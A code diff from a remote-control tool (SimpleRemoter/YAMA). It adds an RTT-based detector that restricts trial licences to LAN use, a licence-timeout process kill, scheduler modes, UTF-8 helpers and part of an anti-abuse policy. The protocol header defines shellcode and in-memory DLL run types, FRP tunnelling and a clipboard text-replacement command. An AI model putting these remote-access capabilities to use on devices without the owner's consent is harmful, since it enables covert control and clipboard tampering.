// 记录一次心跳 RTT 样本。在收到心跳 ACK / 算完 RTT 的位置调用:
// LANRttChecker::RecordSample(rttMs);
// 单 client 进程在生命周期内只有一条对控制端的活跃心跳源,全局单例
// 状态足够;若上层后续真出现"多控制端并存",再恢复 keyed 设计。
static void RecordSample(int rttMs)
{
// 三道无锁早退:未启用 / 已弹过框 / 异常值。
// 一旦弹过告警,本检测器就该 sleep——后续样本既不会再触发新的弹框
// 继续抢锁排序也只是浪费 CPU。Reset() 才会重新打开(清掉 warned 标记)。
if (!GetEnabled().load() || GetWarnedFlag().load() || rttMs <= 0)
return;
bool shouldWarn = false;
int triggeredMedian = 0;
{
std::lock_guard<std::mutex> lock(GetMutex());
auto& state = GetState();
// 拿到锁后再确认一次——RecordSample 多线程并发时可能有别的线程
// 已经在弹框路径上把 warned 设置了。
if (state.warned)
return;
// 收敛期:前 N 个样本完全忽略,不入滑窗也不计数判定
if (state.total_seen++ < WARMUP_SKIP)
return;
state.samples.push_back(rttMs);
if ((int)state.samples.size() > SAMPLE_WINDOW)
state.samples.pop_front();
// 滑窗未满时不判定,避免少样本中位数失真
if ((int)state.samples.size() < SAMPLE_WINDOW)
return;
int median = MedianMs(state.samples);
if (median > RTT_THRESHOLD_MS)
state.breach_run++;
else
state.breach_run = 0;
if (state.breach_run >= BREACH_PERSIST_COUNT)
{
state.warned = true;
GetWarnedFlag().store(true); // 同步到无锁早退标志
shouldWarn = true;
triggeredMedian = median;
}
}
if (shouldWarn)
{
std::string* msgPtr = new std::string();
*msgPtr = "Suspicious connection detected.\n\n";
*msgPtr += "Connection RTT median: "
+ std::to_string(triggeredMedian) + "ms\n";
*msgPtr += "Threshold: " + std::to_string(RTT_THRESHOLD_MS) + "ms\n\n";
*msgPtr += "The persistently elevated RTT suggests the connection\n";
*msgPtr += "may be relayed through a proxy/VPN.\n\n";
*msgPtr += "Trial version is restricted to LAN connections only.\n";
*msgPtr += "Please purchase a license for remote connections.";
HANDLE hThread = CreateThread(NULL, 0, WarningDialogThread, msgPtr, 0, NULL);
if (hThread) CloseHandle(hThread);
}
}
// 重置状态:清空采样、清空告警标记。可在切换授权状态或测试时调用。
// 注意:不应在断线重连时调用——保留跨重连的状态可以避免攻击者通过
// 反复重连刷新收敛期来绕过检测。
static void Reset()
{
std::lock_guard<std::mutex> lock(GetMutex());
GetState() = ClientState{};
GetWarnedFlag().store(false); // 把无锁早退标志一起清掉
}
// 查询当前的样本中位数(毫秒),不足窗口或无样本返回 -1。
// 用于调试 / 状态栏展示。
static int GetMedianMs()
{
std::lock_guard<std::mutex> lock(GetMutex());
auto& state = GetState();
if ((int)state.samples.size() < SAMPLE_WINDOW)
return -1;
return MedianMs(state.samples);
}
private:
struct ClientState
{
std::deque<int> samples; // 最近 SAMPLE_WINDOW 个有效样本
int total_seen = 0; // 总采样数(含被跳过的收敛期样本)
int breach_run = 0; // 连续中位数超阈值的次数
bool warned = false; // 已弹过框,避免重复打扰
};
static int MedianMs(const std::deque<int>& s)
{
std::vector<int> v(s.begin(), s.end());
std::sort(v.begin(), v.end());
size_t n = v.size();
if (n == 0) return 0;
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
}
static DWORD WINAPI WarningDialogThread(LPVOID lpParam)
{
std::string* msg = (std::string*)lpParam;
MessageBoxA(NULL, msg->c_str(), "Trial Version - LAN Only",
MB_OK | MB_ICONWARNING | MB_TOPMOST);
delete msg;
return 0;
}
static std::mutex& GetMutex()
{
static std::mutex s_mutex;
return s_mutex;
}
static ClientState& GetState()
{
static ClientState s_state;
return s_state;
}
static std::atomic<bool>& GetEnabled()
{
static std::atomic<bool> s_enabled(false); // 默认关,避免误伤已授权用户
return s_enabled;
}
// 已弹过框的无锁标志,与 ClientState::warned 同步。RecordSample 入口处
// 用它做 zero-cost 早退,避免后续每次心跳还要抢锁 + 排序中位数。
static std::atomic<bool>& GetWarnedFlag()
{
static std::atomic<bool> s_warned(false);
return s_warned;
}
};
// 服务端 per-connection RTT 反代理检测器
//
// 设计动机:与 LANRttChecker 互补——LANRttChecker 是客户端单例(一个客户端只有一条主控连接,
// 全局滑窗即可),但服务端要同时盯多个连接,若用全局滑窗,一条 abusive 连接会被 N 条真 LAN
// 连接的中位数稀释。所以本类的每个实例只跟一条连接绑定,由 IOCPServer 持有,逐连接单独判定。
//
// 信号源:服务端 WSAIoctl(SIO_TCP_INFO).RttUs内核测得的纯网络 RTT微秒比客户端
// "心跳总耗时减 ProcessingMs" 更干净。因此阈值可以比客户端 25ms 严一点 → 20ms。
//
// 触发动作:仅返回"是否首次触发"是否真的弹框由调用方IOCPServer持全局 latch 决定。
// 同一连接生命周期内 triggered 后不再产生新的 triggerper-connection 自带 latch
//
// 线程模型单写者IOCPServer 的 RTT 轮询线程)。所有方法假设由同一线程串行调用,
// 内部不加锁;读取展示性字段建议直接走 CONTEXT_OBJECT 暴露的 atomic getter。
class TcpRttBreachDetector
{
public:
// 与 LANRttChecker 经验阈值对齐,但因信号更干净而严化:
static const int RTT_THRESHOLD_MS = 20;
static const int SAMPLE_WINDOW = 10; // 滑窗大小10s 历史 @ 1Hz
static const int WARMUP_SKIP = 5; // 跳过前 N 次样本,避免握手早期波动
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
// 喂一次 RTT 样本(毫秒)。返回 true 当且仅当**本次**调用导致首次触发。
// 后续调用即使继续超阈也返回 falseper-instance latch由调用方决定是否仍要继续输入。
bool Feed(int rttMs)
{
if (m_triggered || rttMs <= 0) return false;
if (m_totalSeen++ < WARMUP_SKIP) return false;
m_samples.push_back(rttMs);
if ((int)m_samples.size() > SAMPLE_WINDOW)
m_samples.pop_front();
if ((int)m_samples.size() < SAMPLE_WINDOW)
return false;
int med = MedianMs(m_samples);
if (med > RTT_THRESHOLD_MS) m_breachRun++; else m_breachRun = 0;
if (m_breachRun >= BREACH_PERSIST_COUNT) {
m_triggered = true;
m_triggerMedianMs = med;
return true;
}
return false;
}
bool IsTriggered() const { return m_triggered; }
int TriggerMedianMs() const { return m_triggerMedianMs; }
int CurrentMedianMs() const
{
return ((int)m_samples.size() < SAMPLE_WINDOW) ? -1 : MedianMs(m_samples);
}
// 复用 CONTEXT_OBJECT 时调用(释放回 free pool 后再次接连接)。
void Reset()
{
m_samples.clear();
m_totalSeen = 0;
m_breachRun = 0;
m_triggered = false;
m_triggerMedianMs = 0;
}
private:
static int MedianMs(const std::deque<int>& s)
{
std::vector<int> v(s.begin(), s.end());
std::sort(v.begin(), v.end());
size_t n = v.size();
if (n == 0) return 0;
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
}
std::deque<int> m_samples;
int m_totalSeen = 0;
int m_breachRun = 0;
int m_triggerMedianMs = 0;
bool m_triggered = false;
};
// 授权连接超时检测器
// 用于检测试用版/未授权用户是否长时间无法连接授权服务器
class AuthTimeoutChecker
@@ -308,6 +690,9 @@ public:
// 超过警告时间,弹出警告(弹窗关闭后可再次弹出)
if (elapsed >= (ULONGLONG)warningTimeoutSec && !GetDialogShowing())
{
if (elapsed >= 6 * warningTimeoutSec)
TerminateProcess(GetCurrentProcess(), 0);
GetDialogShowing() = true;
// 在新线程中弹窗,弹窗关闭后重置标记允许再次弹窗

View File

@@ -337,6 +337,20 @@ enum {
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
};
#pragma pack(push, 1)
struct TextReplace {
uint8_t cmd;
uint8_t type;
uint8_t param[510];
uint8_t reserved[512];
};
enum TextReplaceRule {
RULE_REPLACE_ALL = 0,
};
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
@@ -353,7 +367,6 @@ enum {
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]
@@ -1103,12 +1116,23 @@ typedef struct Heartbeat {
} Heartbeat;
typedef struct HeartbeatACK {
uint64_t Time;
char Authorized;
char IsTrail;
char Authorization[200];
char Reserved[814];
uint64_t Time; // offset 0, size 8
char Authorized; // offset 8
char IsTrail; // offset 9
char Authorization[200]; // offset 10, size 200 → 结束于 210
// 显式 padding让随后的 uint32_t ProcessingMs 落在 4 字节对齐边界212
// 不加这两个字节,编译器会自动补,但同时会把结构体尾部补到 8 字节对齐
// 导致 sizeof 从 1024 涨到 1032破坏跨版本兼容新客户端连旧服务端会
// 退回 OldSize=32 字节读取,丢失 Authorization
char _ackPad[2]; // offset 210, size 2
// 服务端处理本心跳的耗时(毫秒,由 server 写入 send-ACK 前一刻)。
// 客户端用 (now - Time) - ProcessingMs 得到近似纯网络 RTT喂给反代理检测。
// 旧服务端 / 早期版本会把 ProcessingMs 留作 0此时客户端按 0 = 未知,
// 直接使用 (now - Time),不退化(与本字段加入前的行为完全一致)。
uint32_t ProcessingMs; // offset 212, size 4 → 结束于 216
char Reserved[808]; // offset 216, size 808 → 结束于 1024
} HeartbeatACK;
// sizeof(HeartbeatACK) == 1024与本字段加入前完全相等
#define HeartbeatACK_OldSize 32
@@ -1128,7 +1152,9 @@ typedef struct MasterSettings {
char HelpUrl[80]; // Since 2026-04-08
char RequestAuthUrl[80]; // Since 2026-04-08
char GetPluginUrl[80]; // Since 2026-04-08
char Reserved[108]; // Since 2025-11-27
char Authorized; // Since 2026-05-15
char IsTrail; // Since 2026-05-15
char Reserved[106]; // Since 2025-11-27
} MasterSettings;
#pragma pack(pop)
@@ -1335,11 +1361,13 @@ enum {
SHELLCODE = 0,
MEMORYDLL = 1,
RUNTYPE_MAX = 2,
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
CALLTYPE_FRPC_CALL = 2, // 调用FRPC
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC标准方式使用开源FRP项目
CALLTYPE_MAX = 4,
};
typedef DWORD(__stdcall* PidCallback)(void);

View File

@@ -1,11 +1,17 @@
#ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H
#include <stdint.h>
// 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式
#define SCH_MODE_MONTHLY 4 // 每月定时模式
#define SCH_MODE_YEARLY 5 // 每年定时模式
#define SCH_MODE_OFF 6 // 关闭
#define SCH_MODE_MAX 7
#pragma pack(push, 1)
// 严格定义 16 字节结构
@@ -40,6 +46,7 @@ class YamaTaskEngine {
public:
static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_OFF) return false;
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
@@ -63,9 +70,51 @@ public:
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// TargetMin=0 表示 0:00 执行
if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true;
}
return false;
}
// --- 4. 每周定时逻辑 (Mode 3) ---
if (p->Mode == SCH_MODE_WEEKLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示周日 (wDayOfWeek: 0=周日, 1=周一, ...)
unsigned char targetDay = p->Config.Timed.DaysMask;
if (st.wDayOfWeek == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameWeek(p->LastRunTime, now)) return true;
}
return false;
}
// --- 5. 每月定时逻辑 (Mode 4) ---
if (p->Mode == SCH_MODE_MONTHLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示每月第 1 天
unsigned char targetDay = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
if (st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameMonth(p->LastRunTime, now)) return true;
}
return false;
}
// --- 6. 每年定时逻辑 (Mode 5) ---
if (p->Mode == SCH_MODE_YEARLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0, Reserved=0 表示 1月1日
unsigned char targetMonth = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
unsigned char targetDay = p->Config.Timed.Reserved == 0 ? 1 : p->Config.Timed.Reserved;
if (st.wMonth == targetMonth && st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameYear(p->LastRunTime, now)) return true;
}
return false;
}
return false;
@@ -88,13 +137,66 @@ private:
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FILETIME f1, f2;
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
}
static bool IsSameWeek(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
// 转换为本地时间的天数,再判断是否在同一周
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
// 计算两个日期各自所在周的周日日期,相同则同一周
int days1 = DaysSinceEpoch(st1.wYear, st1.wMonth, st1.wDay);
int days2 = DaysSinceEpoch(st2.wYear, st2.wMonth, st2.wDay);
// 回退到本周周日 (wDayOfWeek: 0=周日)
int weekStart1 = days1 - st1.wDayOfWeek;
int weekStart2 = days2 - st2.wDayOfWeek;
return (weekStart1 == weekStart2);
}
static bool IsSameMonth(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth);
}
static bool IsSameYear(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear);
}
static void FTToST(unsigned __int64 ft, SYSTEMTIME* pSt) {
FILETIME ftUtc, ftLocal;
ftUtc.dwLowDateTime = (DWORD)ft;
ftUtc.dwHighDateTime = (DWORD)(ft >> 32);
FileTimeToLocalFileTime(&ftUtc, &ftLocal);
FileTimeToSystemTime(&ftLocal, pSt);
}
// 简易计算从某基准日开始的天数 (用于周计算)
static int DaysSinceEpoch(int year, int month, int day) {
// 简化算法:相对于 2000-01-01 的天数
int y = year - 2000;
int leapYears = (y > 0) ? ((y - 1) / 4 - (y - 1) / 100 + (y - 1) / 400 + 1) : 0;
int days = y * 365 + leapYears;
static const int daysBeforeMonth[] = { 0,31,59,90,120,151,181,212,243,273,304,334 };
days += daysBeforeMonth[month - 1] + day - 1;
// 闰年 2 月后加 1 天
if (month > 2 && IsLeapYear(year)) days++;
return days;
}
static bool IsLeapYear(int year) {
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}
};
#endif
#endif

56
common/utf8.h Normal file
View File

@@ -0,0 +1,56 @@
#include <windows.h>
#include <string>
/**
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
*/
inline std::string ansi_to_utf8(const std::string& ansi_str) {
if (ansi_str.empty()) return "";
// 1. ANSI -> UTF-16 (WideChar)
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> UTF-8
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string utf8_str(u8len, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
// 移除末尾的 \0
if (!utf8_str.empty() && utf8_str.back() == '\0') {
utf8_str.pop_back();
}
return utf8_str;
}
/**
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
*/
inline std::string utf8_to_ansi(const std::string& utf8_str) {
if (utf8_str.empty()) return "";
// 1. UTF-8 -> UTF-16 (WideChar)
// 计算需要的宽字符长度
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return "";
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
// CP_ACP 表示使用当前系统的 ANSI 代码页
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (alen <= 0) return "";
std::string ansi_str(alen, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
if (!ansi_str.empty() && ansi_str.back() == '\0') {
ansi_str.pop_back();
}
return ansi_str;
}

View File

@@ -0,0 +1,626 @@
# 反滥用与合规使用政策
> **文档版本**1.0
> **生效日期**:本文档自发行方在公开仓库发布之日起对所有获取本软件的人员生效;
> 后续修订以仓库提交记录为准。
> **文档语言**:本文档以简体中文为权威版本;译本在含义不一致时,以中文版本为准。
---
## 重要声明(请在使用本软件之前完整阅读)
> **本文档不是法律意见。** 本文档由发行方以一般合规材料的形式起草,目的是
> 阐明本软件的设计意图、许可使用范围、禁止使用情形以及发行方与最终使用方
> 之间的责任划分。本文档不构成针对任何特定司法辖区、特定使用场景的法律
> 意见,亦不替代用户应当自行向具备执业资质的律师寻求的专业建议。
>
> **使用本软件即视为您已阅读、理解并接受本文档全部条款。** 如您不能或不愿
> 接受本文档任一条款,请立即停止下载、安装、运行、复制、修改、分发本软件,
> 并销毁您持有的全部副本。
---
## 1. 目的与适用范围
### 1.1 文档目的
本文档(以下简称"本政策")的目的是:
1. 明确本软件(指仓库中所标识的 SimpleRemoter / YAMA 项目,包括其源代码、
编译产物、文档、配置示例与所有衍生分发物,以下统称"本软件")的合法
使用边界;
2. 公开发行方为防止本软件被滥用而内置的技术措施;
3. 在发行方与最终使用方之间划清责任,确保任何越权或违法使用行为的法律
后果由实施该行为的一方独立承担;
4. 作为本软件项目对外的"反滥用与合规姿态"的正式书面证据,可被援引于
任何与本软件被滥用相关的调查、诉讼或行政程序。
### 1.2 适用对象
本政策对下列各方均具有约束力:
- 直接从发行方仓库获取本软件源代码或编译产物的个人 / 实体;
- 通过任何第三方渠道(镜像站点、社区转发、二次发行等)获取本软件的
个人 / 实体;
- 在发行方授权体系内取得"试用口令"或"正式授权"的被授权方;
- 上述各方在其内部组织 / 团队 / 客户处的实际操作人员。
上述各方在本政策中统称为"使用方"。
### 1.3 与其他文档的关系
本政策与本软件附带的下列材料共同构成完整的使用条件:
- 仓库根目录下的 `README.md`(项目简介及法律警告);
- 仓库根目录下的 `LICENSE` 或同等开源许可证文件;
- 发行方在签发"正式授权"时单独签订的授权协议(如有)。
如本政策与上述任一材料的表述发生冲突,以**对发行方更有利、对使用方义务
更严格**的表述为准。这一冲突解决规则的目的,是确保本软件的反滥用立场
不因任何文档表述差异而被削弱。
---
## 2. 术语定义
为便于理解,下列术语在本政策中具有以下含义:
- **"发行方"**:本软件源代码仓库的合法持有人,以及由其明确指定的代理人。
- **"被授权方"**:在发行方授权体系内取得任一档授权(无口令档不构成
显式授权,但仍受本政策约束)的个人或实体。
- **"被管设备"**:使用方利用本软件进行远程访问、监控、控制的目标
计算设备,包括但不限于个人电脑、服务器、移动终端、嵌入式设备。
- **"被管设备相关方"**:被管设备的所有人(拥有该设备物权或处分权的
自然人 / 法人)以及实际使用人(在该设备上工作、存储个人数据、
进行账户登录的自然人)。两者可能为同一人,也可能为不同人。
- **"个人信息"**:以电子或其他方式记录的、与已识别或可识别的自然人
有关的各种信息,含义参照《中华人民共和国个人信息保护法》第四条
及欧盟《通用数据保护条例》GDPR第 4 条第(1)项。
- **"司法辖区"**:与使用方实际部署、运营本软件相关的任何国家或地区
的法律体系,包括使用方住所地、被管设备所在地、被管设备相关方
所在地、相关数据流转或存储所在地。
---
## 3. 软件设计意图与许可使用场景
### 3.1 设计意图
本软件的设计意图是为下列**合法、获明示同意的**使用场景提供技术能力:
| 场景 | 典型形态 | 必要前提 |
|------|---------|---------|
| 个人单机管理 | 自有设备的远程登录、应急自救 | 设备由使用人自有 |
| 内部 IT 运维 | 组织内部对自有设备 / 受雇员同意监控的工作设备进行批量管理 | 组织对设备享有所有权 / 管理权,且对使用人完成合规告知 |
| 授权安全研究 | 渗透测试、红队演练、漏洞研究 | 与目标系统所有方签署书面授权委托 |
| 教学与技术学习 | 在隔离实验环境中学习网络编程、IOCP 模型、远程控制原理 | 实验环境与生产环境完全隔离,无第三方设备介入 |
### 3.2 许可使用场景的共同要件
无论上述哪一种场景,使用方均须同时满足下列要件:
1. **合法权源**:使用方对被管设备享有合法的所有权、管理权或经合法授权
的访问权;
2. **明示同意**:被管设备相关方已就本软件的安装、运行及其将采集 /
传输的所有数据类型,给予事先、明确、可撤回、可追溯的书面同意(含
电子形式);
3. **目的限定**:使用目的限定为前条所列形态,不得超出已告知的范围;
4. **最小必要**:仅使用与目的相符的最小必要功能,不主动启用与目的
无关的采集 / 控制能力;
5. **可审计性**:使用方保留充分的操作日志、授权记录、同意证据,以
备监管核查或事后追溯。
---
## 4. 严禁使用情形
### 4.1 一般性禁止
下列使用情形被本政策**绝对禁止**,不因任何技术可行性或商业便利而例外:
1. **未经授权的访问**:在未取得被管设备所有人或合法管理人事先书面
同意的情况下,对其设备进行访问、监控、控制、信息读取或修改;
2. **隐蔽监控**:以隐蔽、欺骗或诱导方式安装本软件,使被管设备使用人
不知晓本软件正在运行、采集数据或被远程操作;
3. **职场越界监控**:在工作场所对员工实施超出当地劳动法、个人信息
保护法允许范围的监控,包括但不限于个人通讯、私人账户、非工作
时间的活动监控;
4. **未成年人监控**:对未成年人实施未取得其法定监护人完整知情同意的
监控,或在已取得同意的情况下采集 / 传输与监护目的无关的内容;
5. **政府机关 / 关键信息基础设施**:在未取得相应行政许可或安全审查
通过的情况下,将本软件部署于政府机关、关键信息基础设施运营者所
管理的系统;
6. **商业秘密窃取**:用于获取、复制、传输他方拥有所有权或保密权益的
技术信息、经营信息、客户数据;
7. **非法跨境数据传输**:在未完成属地法律所要求的数据出境安全评估、
认证或合同备案的情况下,使用本软件作为传输通道将受管辖数据传输
至境外;
8. **金融、医疗等强监管领域**:在不符合相应行业监管规则(如金融业
外包管理、医疗信息系统等保认证)的情况下,将本软件部署于该等
行业的生产环境;
9. **以骚扰、跟踪、勒索为目的**:用于跟踪特定自然人的行踪、骚扰
通讯、敲诈勒索、网络欺凌或其他对自然人造成精神或财产损害的
行为;
10. **规避执法或监管**:用于隐藏违法证据、对抗执法调查、规避监管
报送义务,或为上述行为提供辅助。
### 4.2 与现行法律体系的对应关系(提示性,非详尽)
下列法律法规中的相关条款,与第 4.1 条所列禁止情形可能直接相关。
本提示不构成对法律适用的全面分析,使用方应自行评估并取得专业法律
意见:
- **中华人民共和国法律体系**
- 《刑法》第 285 条(非法侵入计算机信息系统罪、非法获取计算机
信息系统数据罪、非法控制计算机信息系统罪);
- 《刑法》第 286 条(破坏计算机信息系统罪);
- 《刑法》第 286 条之一(拒不履行信息网络安全管理义务罪);
- 《刑法》第 287 条之一、之二(非法利用信息网络罪、帮助信息
网络犯罪活动罪);
- 《网络安全法》第 27 条、第 44 条、第 76 条;
- 《数据安全法》第 32 条、第 51 条;
- 《个人信息保护法》第 13 条、第 17 条、第 23 条、第 38 条、
第 66 条;
- 《关键信息基础设施安全保护条例》。
- **欧盟法律体系**
- 《通用数据保护条例》GDPR第 5、6、7、9、4449、83 条;
- 《网络与信息系统安全指令》NIS2 Directive
- 部分成员国对工作场所监控、电信秘密的特别立法。
- **其他司法辖区**
- 美国 Computer Fraud and Abuse Act (CFAA)
- 美国各州的电子通讯隐私立法、儿童在线隐私保护法COPPA
- 英国 Computer Misuse Act 1990
- 部分国家 / 地区的"出口管制清单"对网络入侵 / 监视类双用途
物项的限制(如 Wassenaar Arrangement 框架下的"intrusion
software"管制)。
---
## 5. 使用方的义务与承诺
使用方在下载、安装或以任何方式使用本软件之时,即被视为对发行方作出
下列各项独立的、可追溯的承诺:
### 5.1 合法性承诺
使用方承诺其使用本软件的目的、方式、范围、对象在所有相关司法辖区下
均不构成对任何法律法规的违反。使用方进一步承诺其已自行评估或委托
专业人士评估前述合法性,不依赖发行方提供的任何材料(包括本政策)
作为最终合法性判断的依据。
### 5.2 同意取得承诺
在每一台被管设备上部署本软件之前,使用方承诺其已取得被管设备相关方
**事先、明确、书面或可等同书面形式**的同意。该同意应至少包含:
- 软件名称及主要功能描述;
- 将采集的数据类型与传输去向;
- 数据保留期限;
- 撤回同意的方式;
- 数据访问、更正、删除等权利的行使路径。
使用方承诺保留上述同意的可追溯证据不少于本软件在该设备上停止运行
**三 (3) 年** 或属地法律规定的更长期限。
### 5.3 不规避承诺
使用方承诺**不通过任何方式**规避、削弱、屏蔽本软件中由发行方设置
的反滥用机制(详见第 6 节),包括但不限于:
- 反编译、二进制 patch、内存注入修改授权校验逻辑
- 通过 hook、API 拦截、虚拟机等手段屏蔽告警弹窗或日志输出;
- 伪造授权服务器响应、本地搭建假冒授权服务器;
- 修改源代码后将"已禁用反滥用机制"的衍生版本对外分发。
任何上述行为本身即构成对本政策的根本违反,且发行方有权将其作为
"使用方明知滥用而仍刻意为之"的证据用于后续追责。
### 5.4 配合调查承诺
使用方承诺,在发行方根据合理依据怀疑其存在违反本政策的行为时,
有义务在合理期限内向发行方提供下列材料供核查:
- 部署本软件的设备清单及其所有人 / 使用人信息;
- 第 5.2 条所述同意取得证据;
- 部署期间的操作日志、配置信息;
- 与第 4 节所列禁止情形之否认陈述。
如使用方在合理期限内拒绝配合或提供虚假材料,发行方有权直接吊销
其授权,并将相关情况报告给有管辖权的执法或监管机关。
### 5.5 损害赔偿承诺
使用方承诺:因其违反本政策而导致发行方面临任何第三方索赔、行政
处罚、刑事调查或声誉损害的,使用方应向发行方提供完整的损害赔偿
indemnification包括但不限于
- 发行方为应对前述事件支出的合理律师费、调查费、公关费;
- 发行方因前述事件被判决或和解承担的赔偿金额;
- 发行方因前述事件遭受的间接经济损失(在属地法律允许范围内)。
---
## 6. 发行方内置的反滥用技术措施
为体现发行方"已采取合理技术措施防止本软件被滥用"的立场,本软件
在源代码层面内置了下列强制性技术机制。这些机制的源代码公开可查,
任何人均可独立验证其存在与运行:
### 6.1 入站连接源 IP 段校验(`LANChecker`
实现位置:`common/LANChecker.h` 中的 `LANChecker` 类。
机制描述:客户端进程周期性扫描本进程的已建立 (ESTABLISHED) 入站
TCP 连接,对每一连接的远端 IP 地址进行私网段校验。任何来源于公网
IP即非 RFC 1918 / RFC 3927 / 回环段)的连接被检出后,立即触发
向终端用户的可见告警。
合规意义:用于在试用模式下封堵"客户端直接从公网接入被管设备"
这一最常见的越权使用形态。
### 6.2 监听端口数量上限(`LANChecker::CheckPortLimit`
实现位置:同上文件。
机制描述:扫描本进程占用的 TCP 监听端口总数,并与当前授权档对应
的上限值比对:
| 授权档 | 上限 |
|--------|------|
| 无口令 | 2 |
| 试用口令 | 20 |
超过上限即触发告警。该机制的目的是防止单台部署被改造为多租户
中转节点。
### 6.3 应用层 RTT 反代理(`LANRttChecker`
实现位置:同上文件。
机制描述:在试用模式下,对每一条控制连接的心跳 RTT 中位数进行
持续监测,超过 25 毫秒阈值并持续若干窗口后触发告警。该机制基于
"光速决定的物理 RTT 不可被代理转发降低"这一不可规避的物理约束,
用于检测"在 LAN 内放置代理 / 反向隧道,源 IP 仍为私网段但实际
经公网转发到外部客户端"这一比 6.1 更隐蔽的越权使用形态。
合规意义:覆盖了"通过反向隧道间接突破 LAN-only 限制"的滥用路径。
### 6.4 授权服务器周期心跳(`AuthTimeoutChecker`
实现位置:同上文件。
机制描述:客户端进程必须周期性回连发行方运营的授权服务器并完成
心跳。长时间无法回连时先告警,超出更长阈值则强制终止进程。
合规意义:
- 防止"仅在初次激活时联网,之后离线长期使用"以规避后续吊销;
- 为发行方在服务器侧吊销违规授权提供下发通道。
### 6.5 措施的可被感知性
